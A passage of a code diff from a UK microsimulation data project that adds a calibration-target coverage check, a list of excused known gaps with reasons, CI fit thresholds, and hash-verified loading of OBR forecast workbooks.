+south_west_age_80_plus,359314.000,370051.020,384900.773,399727.616,414550.838,442926.618,465134.345,481977.036,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +wales_age_80_plus,175956.000,179720.000,185492.000,191184.000,196718.000,209247.000,219315.000,226905.000,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/z4zippedpopulationprojectionsdatafileswales +west_midlands_age_80_plus,311947.000,319178.683,330274.556,339480.659,347714.374,366032.307,380011.894,390810.558,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +yorkshire_and_the_humber_age_80_plus,279307.000,284139.773,292163.361,300471.035,308655.688,329410.267,344273.286,355194.173,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 diff --git a/policyengine_uk_data/storage/scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx b/policyengine_uk_data/storage/scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx new file mode 100644 index 000000000..1f18c5400 Binary files /dev/null and b/policyengine_uk_data/storage/scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx differ diff --git a/policyengine_uk_data/targets/build_loss_matrix.py b/policyengine_uk_data/targets/build_loss_matrix.py index 980223540..027614705 100644 --- a/policyengine_uk_data/targets/build_loss_matrix.py +++ b/policyengine_uk_data/targets/build_loss_matrix.py @@ -16,7 +16,12 @@ import numpy as np import pandas as pd -from policyengine_uk_data.targets import get_all_targets +from policyengine_uk_data.targets.coverage import ( + TargetStatus, + check_coverage, + column_status, +) +from policyengine_uk_data.targets.registry import emitted_targets, get_all_targets from policyengine_uk_data.targets.schema import ( GeographicLevel, Target, @@ -60,10 +65,27 @@ logger = logging.getLogger(__name__) +def calibration_targets() -> list[Target]: + """The national, regional and country targets the national matrix uses.""" + targets = [] + seen = set() + for level in ( + GeographicLevel.NATIONAL, + GeographicLevel.REGION, + GeographicLevel.COUNTRY, + ): + for t in get_all_targets(geographic_level=level): + if t.name not in seen: + seen.add(t.name) + targets.append(t) + return targets + + def create_target_matrix( dataset, time_period: str = None, reform=None, + require_coverage: bool = True, ) -> tuple[pd.DataFrame, pd.Series]: """Create (matrix, target_values) for calibration. @@ -71,12 +93,68 @@ def create_target_matrix( dataset: a UKSingleYearDataset instance. time_period: calendar year as string; defaults to dataset year. reform: optional PolicyEngine reform. + require_coverage: fail unless every target is in the matrix with + signal or listed in targets/known_gaps.yaml (targets/coverage.py). Returns: (df, targets) where df has one column per target and one row per household, and targets is a Series of scalar target values indexed by target name. """ + df, targets, statuses = build_target_matrix(dataset, time_period, reform) + if require_coverage: + check_coverage(statuses) + return df, targets + + +MATRIX_LEVELS = ( + GeographicLevel.NATIONAL, + GeographicLevel.REGION, + GeographicLevel.COUNTRY, +) + + +def select_matrix_targets(targets): + """The targets the matrix offers, and a ``duplicate`` status for each other. + + Targets are taken level by level (national, region, country), each level + in the order the sources emit them, and the first target of each name + wins. A later target of that name, at the same level or another, is + dropped and recorded as a duplicate (targets/coverage.py). + """ + kept, statuses = {}, [] + for level in MATRIX_LEVELS: + for target in targets: + if target.geographic_level != level: + continue + if target.name not in kept: + kept[target.name] = target + continue + first = kept[target.name] + statuses.append( + TargetStatus( + target.name, + "duplicate", + f"{target.source} {level.value} target for {_years(target)} " + f"dropped for the {first.source} " + f"{first.geographic_level.value} one for {_years(first)}", + ) + ) + return list(kept.values()), statuses + + +def _years(target: Target) -> str: + return ", ".join(str(year) for year in sorted(target.values)) + + +def build_target_matrix(dataset, time_period: str = None, reform=None): + """The target matrix, its values, and each offered target's status. + + A target that is dropped (a duplicate name, no value for the year, no + column, an error) or that enters with a non-finite value or column, or + with no household contributing, is recorded with that status + (targets/coverage.py). Each offered target gets exactly one status. + """ from policyengine_uk import Microsimulation if time_period is None: @@ -88,17 +166,7 @@ def create_target_matrix( ctx = _SimContext(sim, time_period, dataset, reform) - all_targets = [] - seen = set() - for level in ( - GeographicLevel.NATIONAL, - GeographicLevel.REGION, - GeographicLevel.COUNTRY, - ): - for t in get_all_targets(geographic_level=level): - if t.name not in seen: - seen.add(t.name) - all_targets.append(t) + all_targets, statuses = select_matrix_targets(emitted_targets()) df = pd.DataFrame() target_names = [] @@ -108,17 +176,34 @@ def create_target_matrix( try: val = _resolve_value(target, year) if val is None: + statuses.append( + TargetStatus( + target.name, "no_value_for_year", f"values for {_years(target)}" + ) + ) continue col = _compute_column(target, ctx, year) if col is None: + statuses.append(TargetStatus(target.name, "no_column")) continue df[target.name] = restrict_to_countries(col, ctx.country, target.countries) + # The status is of the column as it entered the matrix; a column + # whose status cannot be computed leaves the matrix again. + try: + status = column_status(val, df[target.name]) + except Exception: + del df[target.name] + raise + statuses.append(TargetStatus(target.name, status)) target_names.append(target.name) target_values.append(val) except Exception as e: logger.warning("Skipping target %s: %s", target.name, e) + statuses.append( + TargetStatus(target.name, "error", f"{type(e).__name__}: {e}") + ) - return df, pd.Series(target_values, index=target_names) + return df, pd.Series(target_values, index=target_names), statuses def restrict_to_countries(column, household_country, countries): diff --git a/policyengine_uk_data/targets/compute/demographics.py b/policyengine_uk_data/targets/compute/demographics.py index 4d0b80923..f405f24a5 100644 --- a/policyengine_uk_data/targets/compute/demographics.py +++ b/policyengine_uk_data/targets/compute/demographics.py @@ -26,7 +26,8 @@ def compute_regional_age(target, ctx) -> np.ndarray | None: region_name = name[:idx] age_part = name[idx + 5 :] lower, upper = age_part.split("_") - lower, upper = int(lower), int(upper) + lower = int(lower) + upper = np.inf if upper == "plus" else int(upper) pe_region = _REGION_INV.get(region_name) if pe_region is None: @@ -44,7 +45,7 @@ def compute_gender_age(target, ctx) -> np.ndarray: parts = name.split("_") sex = parts[0] lower = int(parts[1]) - upper = int(parts[2]) + upper = np.inf if parts[2] == "plus" else int(parts[2]) gender = ctx.sim.calculate("gender").values sex_match = gender == ("FEMALE" if sex == "female" else "MALE") diff --git a/policyengine_uk_data/targets/coverage.py b/policyengine_uk_data/targets/coverage.py new file mode 100644 index 000000000..501470032 --- /dev/null +++ b/policyengine_uk_data/targets/coverage.py @@ -0,0 +1,271 @@ +"""Required coverage of the national calibration targets. + +Every target the registry offers must enter the national loss matrix with +a finite value and a column that some household contributes to, under a +name no other target has. The exceptions are the targets +``targets/known_gaps.yaml`` lists, each with the one status it may have, a +reason and an issue, for every build or only for testing or release builds. +``create_target_matrix`` checks this, so a build that would calibrate +without a target, or against one the weights cannot move, fails instead of +logging a warning. + + python -m policyengine_uk_data.targets.coverage [out.json] + +reports every target's status on a dataset: names, statuses and counts only, +never household values. Set TESTING=1 to check it as a testing build. +""" + +from __future__ import annotations + +import json +import logging +import os +import sys +from collections import Counter, defaultdict +from dataclasses import dataclass +from fnmatch import fnmatchcase +from pathlib import Path +from typing import Iterable, Optional, Sequence + +import numpy as np +import yaml + +logger = logging.getLogger(__name__) + +KNOWN_GAPS_PATH = Path(__file__).with_name("known_gaps.yaml") +IN_MATRIX = "in_matrix" +# Statuses a known gap may excuse. An error or a non-finite value is never +# a known gap: it is a broken target. +EXCUSABLE = ("duplicate", "no_value_for_year", "no_column", "zero_signal") +NEVER_EXCUSED = ("error", "non_finite") +STATUSES = (IN_MATRIX,) + EXCUSABLE + NEVER_EXCUSED +# Pull request builds set TESTING=1 (smaller, faster); release builds don't. +BUILDS = ("testing", "release") + + +class TargetCoverageError(Exception): + """The national target matrix is missing targets it must have.""" + + +@dataclass(frozen=True) +class TargetStatus: + name: str + status: str + detail: str = "" + + +@dataclass(frozen=True) +class KnownGap: + status: str + targets: frozenset + reason: str + issue: str + builds: frozenset = frozenset(BUILDS) + # fnmatch-style globs over target names; testing builds only. + patterns: tuple = () + + +def current_build() -> str: + """The kind of build running, read from TESTING as the build itself does.""" + return "testing" if os.environ.get("TESTING", "0") == "1" else "release" + + +def parse_known_gaps(raw) -> list: + if (raw or {}).get("schema_version") != 1: + raise ValueError("known gaps: schema_version must be 1") + gaps, seen = [], set() + for index, entry in enumerate(raw.get("gaps") or []): + where = f"known gaps[{index}]" + if entry.get("status") not in EXCUSABLE: + raise ValueError(f"{where}: status must be one of {', '.join(EXCUSABLE)}") + if not entry.get("reason") or not str(entry.get("issue", "")).startswith( + "https://github.com/" + ): + raise ValueError(f"{where}: needs a reason and an issue URL") + builds = entry.get("builds", list(BUILDS)) + if not isinstance(builds, list) or not builds or not set(builds) <= set(BUILDS): + raise ValueError(f"{where}: builds must list testing and/or release") + targets = list(entry.get("targets") or []) + patterns = list(entry.get("patterns") or []) + if not targets and not patterns: + raise ValueError(f"{where}: lists no targets") + if patterns and set(builds) != {"testing"}: + # A release gap names each target, so stale entries show up. + raise ValueError(f"{where}: patterns may only excuse testing builds") + if any(not set("*?[") & set(pattern) for pattern in patterns): + raise ValueError(f"{where}: a pattern needs a wildcard") + # A name may be listed under two statuses: a target without signal + # whose duplicate is dropped, say. Under one status, it is listed once. + names = [(name, entry["status"]) for name in targets + patterns] + repeated = seen.intersection(names) | { + t for t, n in Counter(names).items() if n > 1 + } + if repeated: + raise ValueError( + f"{where}: {sorted(name for name, _ in repeated)} listed twice" + ) + seen.update(names) + gaps.append( + KnownGap( + entry["status"], + frozenset(targets), + str(entry["reason"]), + str(entry["issue"]), + frozenset(builds), + tuple(patterns), + ) + ) + return gaps + + +def load_known_gaps(path=None) -> list: + with open(path or KNOWN_GAPS_PATH) as f: + return parse_known_gaps(yaml.safe_load(f)) + + +def column_status(value, column) -> str: + """A matrix column's status: non-finite, without signal, or fine. + + A column with no non-zero entry has no signal unless its target is + zero too: the weights cannot move it. + """ + column = np.asarray(column, dtype=float) + if not np.isfinite(value) or not np.isfinite(column).all(): + return "non_finite" + if value != 0 and not np.any(column != 0): + return "zero_signal" + return IN_MATRIX + + +def coverage_problems( + statuses: Sequence[TargetStatus], + gaps: Iterable[KnownGap], + build: Optional[str] = None, +): + """(problems, stale) in one kind of build, by default the one running. + + Problems are the targets out of the matrix that no gap for this build + excuses under their own status. Stale gaps are named targets that no + longer have that status, and patterns that match no offered target: + what a pattern excuses varies from one testing build to the next, so + matching nothing in one build is not stale. + """ + build = build or current_build() + gaps = [gap for gap in gaps if build in gap.builds] + named = {(name, gap.status) for gap in gaps for name in gap.targets} + patterns = [(pattern, gap.status) for gap in gaps for pattern in gap.patterns] + problems, matched, present = [], set(), defaultdict(list) + for row in statuses: + present[row.name].append(row.status) + if row.status == IN_MATRIX: + continue + if row.status not in NEVER_EXCUSED: + if (row.name, row.status) in named: + matched.add((row.name, row.status)) + continue + if any( + status == row.status and fnmatchcase(row.name, pattern) + for pattern, status in patterns + ): + continue + detail = f" ({row.detail})" if row.detail else "" + problems.append(f"{row.name}: {row.status}{detail}") + stale = [] + for gap in gaps: + for name in sorted(gap.targets): + if (name, gap.status) in matched: + continue + now = ", ".join(present.get(name, ["not offered by the registry"])) + stale.append(f"{name}: listed as {gap.status}, now {now}") + for pattern in gap.patterns: + if not any(fnmatchcase(name, pattern) for name in present): + stale.append(f"{pattern}: listed as {gap.status}, matches no target") + return problems, stale + + +def check_coverage( + statuses: Sequence[TargetStatus], + gaps: Optional[Iterable[KnownGap]] = None, + build: Optional[str] = None, +) -> list: + """Raise unless every target is in the matrix or a known gap; return stale gaps.""" + build = build or current_build() + problems, stale = coverage_problems( + statuses, load_known_gaps() if gaps is None else gaps, build + ) + counts = Counter(row.status for row in statuses) + logger.info( + "Calibration targets (%s build): %s", + build, + ", ".join(f"{counts[s]} {s}" for s in STATUSES if counts[s]), + ) + for line in stale: + logger.warning("Stale known calibration-target gap, remove it: %s", line) + write_step_summary(build, stale, problems) + if problems: + raise TargetCoverageError( + f"{len(problems)} calibration targets are missing or cannot be fitted, " + "and targets/known_gaps.yaml does not list them: " + "; ".join(problems) + ) + return stale + + +def write_step_summary(build: str, stale: Sequence[str], problems: Sequence[str]): + """Add stale gaps and problems to the GitHub Actions job summary, once each. + + A long build log buries a warning; the job summary shows it on the run's + page. Lines already in the summary (the local-authority calibration + repeats the constituency check) are not written again. + """ + path = os.environ.get("GITHUB_STEP_SUMMARY") + lines = [f"- Stale, remove from targets/known_gaps.yaml: `{s}`" for s in stale] + lines += [f"- Not in the matrix and not a known gap: `{p}`" for p in problems] + if not path or not lines: + return + summary = Path(path) + written = summary.read_text() if summary.exists() else "" + lines = [line for line in lines if line not in written] + if lines: + with summary.open("a") as f: + f.write(f"\n### Calibration target coverage ({build} build)\n\n") + f.write("\n".join(lines) + "\n") + + +def main(argv=None) -> int: + argv = sys.argv[1:] if argv is None else argv + if len(argv) not in (2, 3): + print(__doc__) + return 2 + from policyengine_uk.data import UKSingleYearDataset + + from policyengine_uk_data.targets.build_loss_matrix import build_target_matrix + + _, _, statuses = build_target_matrix( + UKSingleYearDataset(file_path=argv[0]), argv[1] + ) + problems, stale = coverage_problems(statuses, load_known_gaps()) + report = { + "dataset": Path(argv[0]).name, + "year": int(argv[1]), + "build": current_build(), + "by_status": Counter(row.status for row in statuses), + "problems": problems, + "stale_known_gaps": stale, + "targets": [row.__dict__ for row in statuses], + } + if len(argv) == 3: + Path(argv[2]).write_text(json.dumps(report, indent=1)) + print( + json.dumps( + { + k: report[k] + for k in ("build", "by_status", "problems", "stale_known_gaps") + }, + indent=1, + ) + ) + return 1 if problems else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/policyengine_uk_data/targets/fit_policy.yaml b/policyengine_uk_data/targets/fit_policy.yaml new file mode 100644 index 000000000..5b71730bc --- /dev/null +++ b/policyengine_uk_data/targets/fit_policy.yaml @@ -0,0 +1,47 @@ +# When a pull request's build fails or flags against its base build's fit +# (utils/fit_report.py). Both builds run the same way in pull request CI: +# TESTING, 32 epochs, one output-area clone, the head's lockfile. +# +# The share allowance was adopted under cos d1344 (15 October 2026), from the final-epoch fits of +# five builds of the same data code: docs, changelog and CI pull requests +# while main's data code was unchanged from b34a4ea2 to 2b9c1c2c (runs +# 38006434333, 37959581668, 38009046475, 37960852139, 37864653693). +schema_version: 1 + +share_within_10pct: + # Fail when the share of national, or of local, targets within 10% of + # their values falls by more than this. Across the 20 ordered pairs of the + # five builds the national share moved by at most 0.93pp and the local by + # at most 0.69pp, so 2pp is about twice the same-code spread. + # Alternatives: 1pp leaves no margin over that spread while #598 (builds + # of the same code fall into two weight sets) is unexplained. 5pp would + # pass the 2.4pp local drop of #551's build against the build of the + # 1.58.1 release branch (runs 38661397028 and 38228500493). + allowed_drop: 0.02 + +national_target: + # Flag, for review, each national target whose error band is worse on the + # head than on the base. Bands of |estimate / target - 1|: within 10%, + # 10-25%, 25-50%, 50-100%, over 100% (fit_report.BANDS). Across the 20 + # ordered pairs of the five same-code builds above, 2 to 12 of the 644 + # national targets move to a worse band per pair (mean 7), so a list stays + # short. #551's build moves 31 and #579's 27 against the 1.58.1 release + # branch's build. + # + # This replaces flagging an error rise of more than 0.2 (adopted under + # d1344 on 15 October), which needed each target's error in the uploaded + # summary. Sol's re-review of #599 found no safe way to publish them: the + # dataset repeats households (output-area clones, SPI and CGT donors), so + # a count of rows can't show how many respondents support an estimate, and + # one household can dominate a target. A band is a bound, not a value. + # The old rule gave 0 to 6 flags per same-code pair. Bands still can't see + # a move inside one band (say 30% to 45%). The replacement is a W3 + # threshold call under d1344's delegation (thresholds on evidence, with an + # independent review agreeing), pending that review. Per-target moves + # don't fail until #598 is fixed. + # + # Run ids of the five builds and their saved log folders: 38006434333 + # (docs-ebdbbce5), 37959581668 (docs-2a071400), 38009046475 + # (changelog-6af935fb), 37960852139 (changelog-bb41c3ca), 37864653693 + # (ci-push-gate-03b3ecd9); the 1.58.1 release branch is 38228500493. + flag: worse_band diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml new file mode 100644 index 000000000..02f8a84bc --- /dev/null +++ b/policyengine_uk_data/targets/known_gaps.yaml @@ -0,0 +1,154 @@ +# Calibration targets allowed to stay out of the national loss matrix, or to +# enter it with no signal. targets/coverage.py fails the build on any other +# target that is dropped (a name already taken, no value for the year, no +# column, an error), has a non-finite value or column, or has a column no +# household contributes to. +# +# Each entry names the exact targets, the one status they may have, why and +# the issue that tracks removing them. Errors and non-finite values are never +# allowed. An entry applies to every build unless `builds` limits it to +# testing builds (pull requests, TESTING=1) or release builds. A +# testing-only entry may name `patterns` instead, fnmatch globs over target +# names, for targets whose status varies from one testing build to the next. +# A named target that no longer has its status, or a pattern that matches +# no target at all, is reported as stale: remove it. +# +# Measured on uk-data 1.58.1 (enhanced_frs_2024_25.h5, sha256 056e80fd) with +# policyengine-uk 2.122.2 at the calibration year 2025, with #557 and #604, +# as a release build and as a testing build: the registry offers 658 names. +# 643 enter the matrix, 15 have no value for 2025 and 17 of those entering +# have no signal. 3 more targets reuse a name already taken and are dropped +# as duplicates (661 targets in all). +schema_version: 1 +gaps: + - status: zero_signal + reason: >- + DIAGNOSTIC ONLY (uk-data #618, #620): in release builds of the batch-3 + release the zero-signal set among the top UC payment bands varies between + builds (#598); run 39181798638 also lost COUPLE_NO_CHILDREN 26,400 to + 27,600. Every top band is listed so the 512-epoch fit can be measured. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/598 + builds: [release] + targets: + - dwp/uc_payment_dist/SINGLE_annual_payment_24_000_to_25_200 + - dwp/uc_payment_dist/SINGLE_annual_payment_26_400_to_27_600 + - dwp/uc_payment_dist/SINGLE_annual_payment_28_800_to_30_000 + - dwp/uc_payment_dist/SINGLE_annual_payment_30_000_to_inf + - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_24_000_to_25_200 + - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_25_200_to_26_400 + - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_26_400_to_27_600 + - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_27_600_to_28_800 + - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_28_800_to_30_000 + - dwp/uc_payment_dist/SINGLE_WITH_CHILDREN_annual_payment_30_000_to_inf + - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_24_000_to_25_200 + - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_25_200_to_26_400 + - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_26_400_to_27_600 + - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_24_000_to_25_200 + - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_25_200_to_26_400 + - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_26_400_to_27_600 + - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_28_800_to_30_000 + - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_30_000_to_inf + - status: zero_signal + reason: >- + DIAGNOSTIC ONLY, on the batch-3 production-setting attribution branches + (uk-data #618, #619), never for release as written. In release builds + (TESTING unset) of the batch-3 release 21d5dbf9, these three UC payment + bands have no signal, so #595's gate stops the build (runs 39180561028 and + 39180562951). Listed here only so the 512-epoch fit can be measured; the + release itself needs its own fix. + issue: https://github.com/PolicyEngine/policyengine-uk-data/pull/608 + builds: [release] + targets: + - dwp/uc_payment_dist/SINGLE_annual_payment_25_200_to_26_400 + - dwp/uc_payment_dist/SINGLE_annual_payment_27_600_to_28_800 + - dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_27_600_to_28_800 + - status: no_value_for_year + reason: >- + Dated 2026 only. The calibration year is 2025, and _resolve_value does + not carry a later year back. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/456 + targets: + - dwp/uc/two_child_limit/3_children_households + - dwp/uc/two_child_limit/3_children_households_total_children + - dwp/uc/two_child_limit/4_children_households + - dwp/uc/two_child_limit/4_children_households_total_children + - dwp/uc/two_child_limit/5_children_households + - dwp/uc/two_child_limit/5_children_households_total_children + - dwp/uc/two_child_limit/6_children_households + - dwp/uc/two_child_limit/6_children_households_total_children + - dwp/uc/two_child_limit/adult_pip_children + - dwp/uc/two_child_limit/adult_pip_households + - dwp/uc/two_child_limit/children_affected + - dwp/uc/two_child_limit/children_in_affected_households + - dwp/uc/two_child_limit/disabled_child_element_children + - dwp/uc/two_child_limit/disabled_child_element_households + - dwp/uc/two_child_limit/households_affected + - status: duplicate + reason: >- + ons_demographics emits these names twice. The matrix keeps the national + ons/uk_population and the region Scottish targets. It drops a region + ons/uk_population read from demographics.csv 1,000 times too small, and + NRS country copies of the Scottish targets with identical values. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/605 + targets: + - ons/scotland_babies_under_1 + - ons/scotland_children_under_16 + - ons/uk_population + - status: zero_signal + reason: >- + Fewer than 10 records have total income of £1m or more, and they have self-employment income only, so the band's targets for every other income type have no signal. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593 + targets: + - hmrc/dividend_income_count_income_band_1_000_000_to_inf + - hmrc/dividend_income_income_band_1_000_000_to_inf + - hmrc/employment_income_count_income_band_1_000_000_to_inf + - hmrc/employment_income_income_band_1_000_000_to_inf + - hmrc/private_pension_income_count_income_band_1_000_000_to_inf + - hmrc/private_pension_income_income_band_1_000_000_to_inf + - hmrc/property_income_count_income_band_1_000_000_to_inf + - hmrc/property_income_income_band_1_000_000_to_inf + - hmrc/state_pension_count_income_band_1_000_000_to_inf + - hmrc/state_pension_income_band_1_000_000_to_inf + - status: zero_signal + reason: >- + No band-H household in these regions. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593 + targets: + - voa/council_tax/NORTH_EAST/H + - voa/council_tax/NORTH_WEST/H + - voa/council_tax/YORKSHIRE/H + - status: zero_signal + reason: >- + impute_student_loan_plan (datasets/imputations/student_loans.py) assigns + only NONE, PLAN_1, PLAN_2 and PLAN_5, never POSTGRADUATE, so no record + has a postgraduate loan in any build. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593 + targets: + - slc/student_loan_repayment/england/postgraduate + - status: zero_signal + reason: >- + No couple without children receives UC payments above £27,600 a year. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593 + targets: + - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_27_600_to_28_800 + - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_28_800_to_30_000 + - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_30_000_to_inf + - status: zero_signal + reason: >- + In pull request (TESTING) builds the UC payment bands with no signal + vary from one build to the next, and builds of the same code take one of + two pre-calibration states (#598). Those builds hold one output-area + clone of each household (PE_UK_DATA_OA_CLONES=1, as release builds do). + Of 21 pull request builds from 8 to 15 October 2026, the national + estimate in the final calibration log was exactly zero for + COUPLE_NO_CHILDREN 27,600 to 28,800 in 20, and 28,800 to 30,000 and + 30,000 and over in all 21; SINGLE 24,000 to 25,200 and 25,200 to 26,400 + in 20, and 27,600 to 28,800 in all 21; and COUPLE_WITH_CHILDREN 27,600 + to 28,800 in 3. The gate failed on the three SINGLE bands in run + 38726993359 and on the COUPLE_WITH_CHILDREN band in run 38732018053. In + release builds only the three COUPLE_NO_CHILDREN bands above may lack + signal. + issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/598 + builds: [testing] + patterns: + - "dwp/uc_payment_dist/*" diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py new file mode 100644 index 000000000..8157ec73d --- /dev/null +++ b/policyengine_uk_data/targets/obr_sources.py @@ -0,0 +1,799 @@ +"""Hash-bound OBR Economic and fiscal outlook workbooks. + +Each EFO vintage the OBR targets are built from has a manifest in +``targets/source_manifests/``. It names the two "detailed forecast tables" +workbooks (receipts and expenditure) with their SHA-256, size, title and +provenance. It also gives the unit and the financial years every parsed +table must carry, and the targets the vintage must yield. ``sources.yaml`` +names the manifest in use. + +Builds read only the committed bytes, verified against the manifest, and +never download. A target's ``forecast_vintage`` therefore always names the +publication its bytes came from. Year columns are read from each table's +header row, so a vintage whose tables start a year later is parsed by +year rather than by column letter. A missing row, year or target fails the +build instead of being logged and dropped. + +Adopting a new vintage (for example on Budget day): + + python -m policyengine_uk_data.targets.obr_sources ingest \\ + --vintage october_2026 --label "October 2026" \\ + --receipts receipts.xlsx --expenditure expenditure.xlsx \\ + --receipts-url https://obr.uk/download// \\ + --expenditure-url https://obr.uk/download// \\ + --first-year 2025 --last-year 2031 --dry-run + +obr.uk refuses scripted downloads (HTTP 403 to GitHub Actions runners, as +11e41f9d records, and to a developer machine on 2026-10-15), so a person +downloads the two "detailed forecast tables" workbooks in a browser and +passes their paths, with ``--receipts-url`` and ``--expenditure-url``, the +obr.uk pages they came from, which every target cites. ``ingest`` requires +each workbook's title to name the vintage and no other, and requires the +targets the current manifest requires. It parses the workbooks in a staging +folder and then moves them under ``storage/obr_efo//``. It writes +the manifest with each file's SHA-256, size and download time, and the +basis of that time: ``mtime``, the file's modification time, or ``given`` +with ``--downloaded-at``, which a copied or unzipped file needs. Each part +is written under a temporary name and renamed into place, so an interrupted +ingest leaves a ``.partial`` file that the next attempt names. It never +replaces an ingested vintage. Point ``sources.yaml`` at the new manifest to +adopt it. + +``--dry-run`` checks everything and prints each workbook's title, SHA-256, +size and download time and every target's old and new value, writing +nothing. The three things a real ingest refuses before parsing (an ingested +vintage, an earlier ingest's leftovers, a download page missing or off +obr.uk) it prints as "would refuse: ..." and exits non-zero; any other +problem raises, as in a real ingest. On the active vintage it says whether +the bytes are the committed workbooks; the same bytes are a rehearsal of +the Budget-day path, not a refusal. +""" + +from __future__ import annotations + +import argparse +import hashlib +import io +import os +import re +import sys +import unicodedata +from dataclasses import dataclass +from datetime import date, datetime, timezone +from functools import lru_cache +from pathlib import Path +from typing import Mapping, NamedTuple, Optional, Sequence +from urllib.parse import urlsplit + +import openpyxl +import yaml + +MANIFEST_DIR = Path(__file__).parent / "source_manifests" +KINDS = ("receipts", "expenditure") +UNIT_SCALES = {"£ billion": 1e9} +# How a download time is known: the file's modification time at ingest, or a +# time given with --downloaded-at. +DOWNLOAD_TIME_BASES = ("mtime", "given") +_FINANCIAL_YEAR = re.compile(r"^\s*(\d{4})\s*[-–]\s*(\d{2})\s*$") +_HEADER_ROWS = 10 +_UNIT_ROWS = 4 + + +class SourceError(Exception): + """A source file, table or target set does not match its manifest. + + Not a ValueError, so a parser's "row not found" handling cannot swallow + it: a table without the declared years or unit stops the build. + """ + + +@dataclass(frozen=True) +class SourceFile: + kind: str + path: str # relative to the storage folder + sha256: str + size_bytes: int + title: str # the workbook's own title, cell B2 of its Contents sheet + url: str + retrieved: str + # When the file was downloaded (ISO 8601 with a UTC offset), if known, and + # how: one of DOWNLOAD_TIME_BASES, or "unrecorded" when there is no time. + downloaded_at: Optional[str] = None + downloaded_at_basis: str = "unrecorded" + + +@dataclass(frozen=True) +class ObrManifest: + vintage: str + label: str + first_year: int # financial years by the calendar year they start in + last_year: int + unit: str + files: Mapping[str, SourceFile] + required: tuple # target names + alternatives: tuple # each a tuple of sets of names; one set must be present + path: Optional[Path] = None + + @property + def years(self) -> list: + return list(range(self.first_year, self.last_year + 1)) + + @property + def scale(self) -> float: + return UNIT_SCALES[self.unit] + + +def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest: + where = str(path or "manifest") + if (raw or {}).get("schema_version") != 1: + raise SourceError(f"{where}: schema_version must be 1") + unit = raw.get("unit") + if unit not in UNIT_SCALES: + raise SourceError(f"{where}: unit must be one of {sorted(UNIT_SCALES)}") + first, last = int(raw["first_year"]), int(raw["last_year"]) + if not first <= last: + raise SourceError(f"{where}: first_year is after last_year") + files = {} + for kind in KINDS: + entry = (raw.get("files") or {}).get(kind) + if not entry: + raise SourceError(f"{where}: no {kind} workbook") + sha = str(entry["sha256"]) + if not re.fullmatch(r"[0-9a-f]{64}", sha): + raise SourceError(f"{where}: {kind} sha256 must be 64 hex characters") + downloaded_at = _timestamp(entry.get("downloaded_at"), f"{where}: {kind}") + bases = DOWNLOAD_TIME_BASES if downloaded_at else ("unrecorded",) + basis = entry.get("downloaded_at_basis") + if basis not in bases: + raise SourceError( + f"{where}: {kind} downloaded_at_basis is {basis!r}; with " + f"{'a' if downloaded_at else 'no'} downloaded_at it must be " + + " or ".join(bases) + ) + files[kind] = SourceFile( + kind=kind, + path=str(entry["path"]), + sha256=sha, + size_bytes=int(entry["size_bytes"]), + title=str(entry["title"]), + url=str(entry["url"]), + retrieved=str(entry["retrieved"]), + downloaded_at=downloaded_at, + downloaded_at_basis=basis, + ) + required, alternatives = [], [] + for item in (raw.get("targets") or {}).get("required") or []: + if isinstance(item, str): + required.append(item) + elif isinstance(item, Mapping) and item.get("any_of"): + alternatives.append(tuple(frozenset(group) for group in item["any_of"])) + else: + raise SourceError(f"{where}: unreadable required target {item!r}") + if len(set(required)) != len(required): + raise SourceError(f"{where}: a required target is listed twice") + if not required: + raise SourceError(f"{where}: no required targets") + vintage, label = str(raw["vintage"]), str(raw["label"]) + check_names(vintage, label, {kind: f.title for kind, f in files.items()}, where) + return ObrManifest( + vintage=str(raw["vintage"]), + label=str(raw["label"]), + first_year=first, + last_year=last, + unit=unit, + files=files, + required=tuple(required), + alternatives=tuple(alternatives), + path=path, + ) + + +def _timestamp(value, where: str) -> Optional[str]: + """An ISO 8601 time with a UTC offset, or None.""" + if value is None: + return None + text = value.isoformat() if isinstance(value, datetime) else str(value) + try: + parsed = datetime.fromisoformat(text) + except ValueError as error: + raise SourceError( + f"{where}: downloaded_at {text!r} is not an ISO 8601 time" + ) from error + if parsed.tzinfo is None: + raise SourceError(f"{where}: downloaded_at {text!r} needs a 